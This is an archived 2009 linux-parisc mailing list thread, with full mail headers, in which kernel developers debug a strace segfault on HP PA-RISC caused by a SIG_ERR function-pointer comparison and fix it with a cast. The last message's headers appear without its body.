Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1O56-0007DY-Fk
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 19:05:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754032AbZEERFW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 13:05:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754147AbZEERFW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 13:05:22 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47534 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754032AbZEERFV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 13:05:21 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1O4y-0006qe-Tl; Tue, 05 May 2009 17:05:16 +0000
Content-Disposition: inline
In-Reply-To: <200905042346.11132.vapier@gentoo.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1661 gmane.linux.debian.ports.hppa:5685

On Mon, May 04, 2009 at 11:46:09PM -0400, Mike Frysinger wrote:
> if said fix could actually get posted to the strace devel list at sf.net, 
> that'd be even better ...
> 
> probably related:
> http://bugs.gentoo.org/250631

http://userweb.kernel.org/~kyle/strace-add-hppa-syscalls.diff
http://userweb.kernel.org/~kyle/strace-fix-hppa-syscalls.diff

Apply against upstream strace cvs. I'll poke Roland about it.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 13:22:28 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20090505172228.GB3094@bombadil.infradead.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241544176 15665 80.91.229.12 (5 May 2009 17:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 17:22:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 19:22:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1OLt-0007FJ-LD
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 19:22:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751116AbZEERWn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 13:22:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751810AbZEERWn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 13:22:43 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51554 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751116AbZEERWm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 13:22:42 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1OLc-0003vC-OM; Tue, 05 May 2009 17:22:28 +0000
Content-Disposition: inline
In-Reply-To: <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1662 gmane.linux.debian.ports.hppa:5686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1662>

On Sat, May 02, 2009 at 06:34:59PM -0400, John David Anglin wrote:
> Hi Kyle,
> 
> > On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > > If you strace it, what syscall returns -EOPNOTSUPP?
> > > 
> > > strace is broken and quits before the relevant syscall.  Think I
> > > mentioned this before is a different context.
> > > 
> > 
> > Fixed & updated strace available at
> > http://people.debian.org/~kyle/strace/
> 
> strace is either broken again or debian didn't pick up your fix.  The link
> to your updated version is broken.
> 
> This happens when tracing sshd during a connection attempt with -f option:
> 
> strace -f -p 2390
> Process 2390 attached - interrupt to quit
> _newselect(7, [3 4], NULL, NULL, NULL
> ...
> [pid  5627] open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
> upeek: ptrace(PTRACE_PEEKUSER,5627,4294967292,0): Input/output error
> Process 5627 detached
> <... _newselect resumed> )              = 1 (in [6])
> 

Hmm, I'm seeing strace (4.5.18-1) segfault on sys_rt_sigaction. Rather
confused as to why though,

(gdb) 
#0  0x0002b3ec in __canonicalize_funcptr_for_compare ()
#1  0x00026010 in sys_rt_sigaction (tcp=0x4e060) at ../signal.c:1886
#2  0x00017b10 in trace_syscall (tcp=0x4e060) at ../syscall.c:2553
#3  0x00016c98 in main (argc=<value optimized out>, argv=0xbff8202c)
    at ../strace.c:2475

which is:

                if (sa.__sigaction_handler.__sa_handler == SIG_ERR)
                        tprintf("{SIG_ERR, ");

where:

struct new_sigaction
{
        union
        {
                __sighandler_t __sa_handler;
                void (*__sa_sigaction) (int, siginfo_t *, void *);
        }
        __sigaction_handler;

which isn't materially different from upstream (just the union...)

regards, Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 14:17:49 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20090505181750.5792A4EDA@hiauly1.hia.nrc.ca>
References: <20090505172228.GB3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241547485 27805 80.91.229.12 (5 May 2009 18:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 18:18:05 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 20:17:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1PDF-0002IE-JM
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 20:17:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751521AbZEESRv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 14:17:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751815AbZEESRv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 14:17:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4742 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751521AbZEESRu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 14:17:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5792A4EDA; Tue,  5 May 2009 14:17:49 -0400 (EDT)
In-Reply-To: <20090505172228.GB3094@bombadil.infradead.org> from "Kyle McMartin" at May 5, 2009 01:22:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1663 gmane.linux.debian.ports.hppa:5687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1663>

> (gdb) 
> #0  0x0002b3ec in __canonicalize_funcptr_for_compare ()
> #1  0x00026010 in sys_rt_sigaction (tcp=0x4e060) at ../signal.c:1886
> #2  0x00017b10 in trace_syscall (tcp=0x4e060) at ../syscall.c:2553
> #3  0x00016c98 in main (argc=<value optimized out>, argv=0xbff8202c)
>     at ../strace.c:2475
> 
> which is:
> 
>                 if (sa.__sigaction_handler.__sa_handler == SIG_ERR)
>                         tprintf("{SIG_ERR, ");

Is __canonicalize_funcptr_for_compare choking on SIG_ERR?  This is
a special value (-1).  The plabel bit is set.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 14:40:43 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20090505184043.GC3094@bombadil.infradead.org>
References: <20090505172228.GB3094@bombadil.infradead.org> <20090505181750.5792A4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241548886 697 80.91.229.12 (5 May 2009 18:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 18:41:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 20:41:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1PZt-0005DQ-UC
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 20:41:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753063AbZEESkr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 14:40:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753633AbZEESkr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 14:40:47 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41866 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753044AbZEESkq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 14:40:46 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1PZL-0004qZ-Ru; Tue, 05 May 2009 18:40:43 +0000
Content-Disposition: inline
In-Reply-To: <20090505181750.5792A4EDA@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1664 gmane.linux.debian.ports.hppa:5688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1664>

On Tue, May 05, 2009 at 02:17:49PM -0400, John David Anglin wrote:
> > (gdb) 
> > #0  0x0002b3ec in __canonicalize_funcptr_for_compare ()
> > #1  0x00026010 in sys_rt_sigaction (tcp=0x4e060) at ../signal.c:1886
> > #2  0x00017b10 in trace_syscall (tcp=0x4e060) at ../syscall.c:2553
> > #3  0x00016c98 in main (argc=<value optimized out>, argv=0xbff8202c)
> >     at ../strace.c:2475
> > 
> > which is:
> > 
> >                 if (sa.__sigaction_handler.__sa_handler == SIG_ERR)
> >                         tprintf("{SIG_ERR, ");
> 
> Is __canonicalize_funcptr_for_compare choking on SIG_ERR?  This is
> a special value (-1).  The plabel bit is set.
> 

Ahh, brilliant. Casting to long fixed it.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 15:09:50 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20090505190951.59A544FAF@hiauly1.hia.nrc.ca>
References: <20090505184043.GC3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241550605 6715 80.91.229.12 (5 May 2009 19:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 19:10:05 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 21:09:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1Q1a-0001fU-7S
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 21:09:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751675AbZEETJw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 15:09:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752149AbZEETJw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 15:09:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4747 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751675AbZEETJw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 15:09:52 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 59A544FAF; Tue,  5 May 2009 15:09:51 -0400 (EDT)
In-Reply-To: <20090505184043.GC3094@bombadil.infradead.org> from "Kyle McMartin" at May 5, 2009 02:40:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1665 gmane.linux.debian.ports.hppa:5689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1665>

> On Tue, May 05, 2009 at 02:17:49PM -0400, John David Anglin wrote:
> > > (gdb) 
> > > #0  0x0002b3ec in __canonicalize_funcptr_for_compare ()
> > > #1  0x00026010 in sys_rt_sigaction (tcp=0x4e060) at ../signal.c:1886
> > > #2  0x00017b10 in trace_syscall (tcp=0x4e060) at ../syscall.c:2553
> > > #3  0x00016c98 in main (argc=<value optimized out>, argv=0xbff8202c)
> > >     at ../strace.c:2475
> > > 
> > > which is:
> > > 
> > >                 if (sa.__sigaction_handler.__sa_handler == SIG_ERR)
> > >                         tprintf("{SIG_ERR, ");
> > 
> > Is __canonicalize_funcptr_for_compare choking on SIG_ERR?  This is
> > a special value (-1).  The plabel bit is set.
> > 
> 
> Ahh, brilliant. Casting to long fixed it.

Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
isn't used in the 64-bit runtime.

Still, I'm not sure why this fixed the problem as
__canonicalize_funcptr_for_compare checks for -1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 15:18:45 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20090505191845.GD3094@bombadil.infradead.org>
References: <20090505184043.GC3094@bombadil.infradead.org> <20090505190951.59A544FAF@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241551148 8465 80.91.229.12 (5 May 2009 19:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 19:19:08 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 21:18:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1QAL-0006Xb-Um
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 21:18:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751322AbZEETSu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 15:18:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752503AbZEETSu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 15:18:50 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52645 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751322AbZEETSu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 15:18:50 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1QA9-0001lU-B7; Tue, 05 May 2009 19:18:45 +0000
Content-Disposition: inline
In-Reply-To: <20090505190951.59A544FAF@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1666 gmane.linux.debian.ports.hppa:5690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1666>

On Tue, May 05, 2009 at 03:09:50PM -0400, John David Anglin wrote:
> Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
> isn't used in the 64-bit runtime.
> 
> Still, I'm not sure why this fixed the problem as
> __canonicalize_funcptr_for_compare checks for -1.
> 

If we cast both sides to int, then we don't generate a call there...

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 15:47:02 -0400
Organization: wh0rd.org
Lines: 48
Approved: news@gmane.org
Message-ID: <200905051547.03496.vapier@gentoo.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <200905042346.11132.vapier@gentoo.org> <20090505153723.GA16808@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1630179.vC1TGFYNGd";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241552838 14031 80.91.229.12 (5 May 2009 19:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 19:47:18 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 21:47:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1Qba-0003jA-IS
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 21:47:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754005AbZEETrE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 15:47:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754278AbZEETrE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 15:47:04 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:46823 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754005AbZEETrD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 15:47:03 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 3E3EC659D8;
	Tue,  5 May 2009 19:47:04 +0000 (UTC)
User-Agent: KMail/1.11.2 (Linux/2.6.29.2; KDE/4.2.2; x86_64; ; )
In-Reply-To: <20090505153723.GA16808@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1667 gmane.linux.debian.ports.hppa:5691
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1667>

--nextPart1630179.vC1TGFYNGd
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Tuesday 05 May 2009 11:37:23 Kyle McMartin wrote:
> On Mon, May 04, 2009 at 11:46:09PM -0400, Mike Frysinger wrote:
> > if said fix could actually get posted to the strace devel list at sf.ne=
t,
> > that'd be even better ...
>
> It was, when I fixed it, several years ago...

devel was pretty dead then ... but if you post it to the mailing list, peop=
le=20
should pick it up now as Roland isnt the only one watching it with commit=20
access
=2Dmike

--nextPart1630179.vC1TGFYNGd
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJKAJe3AAoJEEFjO5/oN/WBH38P/Az/LOXXUxnxHKWQJqX3Fjp2
No65K13PVKiTJYW9AFPWFD6mjYwTSwgRovllkNFxqDJI/7ZeMrD4nhRwEXoHTI+X
4DgI8PGtY5drc6nDWUv53V+V0jS0gLvg8wUXNWouWfYVm73rRdqjhnCmAH1IUhor
GT7U+yBCVAmRVBzVU551cp48P876QLrk4dWh9wKvL0XVHUDqeiAN+or7RHyATfwW
3502zJuQnk9/sBj6OW3LSy5EwObKlPL0S3k2sOArz2dM8DsMGIJpdrmW/On98Aqp
rAReD1EtljNAozOd87l2wC0ony2TgL+uj0Gc/Syo3jkHTJdg64vsyf30XAFaFeaj
awpQXhZx3VsRoFdaABxk+t74uA9jBGCuTctpOLYY8eh2yPTE2moZvBMvE+pv7ix5
mv1jdX/1YvfhMDFk1NvQAXMlTHwQa1InMYS2jvaClypcKoobcCkg1erP2uDZH4Ir
Y5iU52OSQqubMqAKm7U5kJ2Le0560pQ9BB1Bk4Cg+yMCgGV+2tothAc5d/3RFcDm
l+vnERdcQNn0Cl1Xy9XtXGaD1pLE/2tIhxbUrpiFMAbdb+kMtYXGp1AwNsmCO2jQ
ILblLsjBf3W4Nr1Jph5B/f41l7HGd6HIGUzJHG0GWh22pcTCXFOZA7wv/km5vMgc
W6nnArutlqzNo/ePHe5k
=KMMx
-----END PGP SIGNATURE-----

--nextPart1630179.vC1TGFYNGd--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 15:46:57 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090505194658.07D074EDA@hiauly1.hia.nrc.ca>
References: <20090505191845.GD3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241552838 14032 80.91.229.12 (5 May 2009 19:47:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 19:47:18 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 21:47:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1QbW-0003jA-CO
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 21:47:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753655AbZEETrA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 15:47:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754005AbZEETrA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 15:47:00 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4753 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753655AbZEETq7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 15:46:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 07D074EDA; Tue,  5 May 2009 15:46:57 -0400 (EDT)
